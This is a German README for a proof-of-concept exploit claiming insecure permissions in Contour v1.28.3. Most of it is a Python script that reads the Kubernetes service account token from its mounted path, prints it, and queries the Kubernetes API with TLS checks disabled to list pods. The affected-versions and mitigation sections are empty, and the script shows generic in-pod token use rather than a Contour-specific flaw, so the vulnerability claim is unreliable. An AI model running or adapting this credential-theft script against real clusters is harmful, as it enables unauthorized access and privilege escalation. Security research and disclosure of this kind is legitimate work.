
Proof-of-Concept-Exploit, der unsichere Berechtigungen in Contour v1.28.3 demonstriert, was den Diebstahl von Service-Account-Tokens und den Zugriff auf die Kubernetes-API zur Privilegieneskalation ermöglicht.
Dieses Repository enthält ein Proof-of-Concept-Skript (PoC), das eine Schwachstelle mit unsicheren Berechtigungen in Contour v1.28.3 demonstriert. Diese Schwachstelle ermöglicht es Angreifern, auf sensible Daten zuzugreifen und Berechtigungen zu eskalieren, indem sie das Token des Dienstkontos erlangen.
CVE-ID: (Ausstehend)
Überblick: Contour v1.28.3 enthält unsichere Berechtigungen, die es Angreifern ermöglichen, auf das Token des Dienstkontos zuzugreifen. Durch Ausnutzung dieser Schwachstelle kann ein Angreifer das Token des Dienstkontos erlangen, das verwendet werden kann, um auf sensible Daten zuzugreifen und möglicherweise Berechtigungen innerhalb des Kubernetes-Clusters zu eskalieren.
Betroffene Versionen:
Gegenmaßnahmen:
Dieses PoC-Skript demonstriert, wie auf das Token des Dienstkontos in Contour v1.28.3 zugegriffen werden kann. Stellen Sie sicher, dass Sie die ausdrückliche Erlaubnis für diesen Test haben.
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
Um diese Schwachstelle zu beheben:
Weitere Informationen zur Sicherung Ihrer Contour-Bereitstellung finden Sie in der offiziellen Contour-Dokumentation.
Diese README.md bietet eine Übersicht über die Schwachstelle, ein PoC-Skript zur Demonstration des Problems sowie Anweisungen zur Risikominderung. Stellen Sie sicher, dass Sie dieses PoC verantwortungsvoll und nur auf Systemen verwenden, für die Sie eine ausdrückliche Autorisierung besitzen.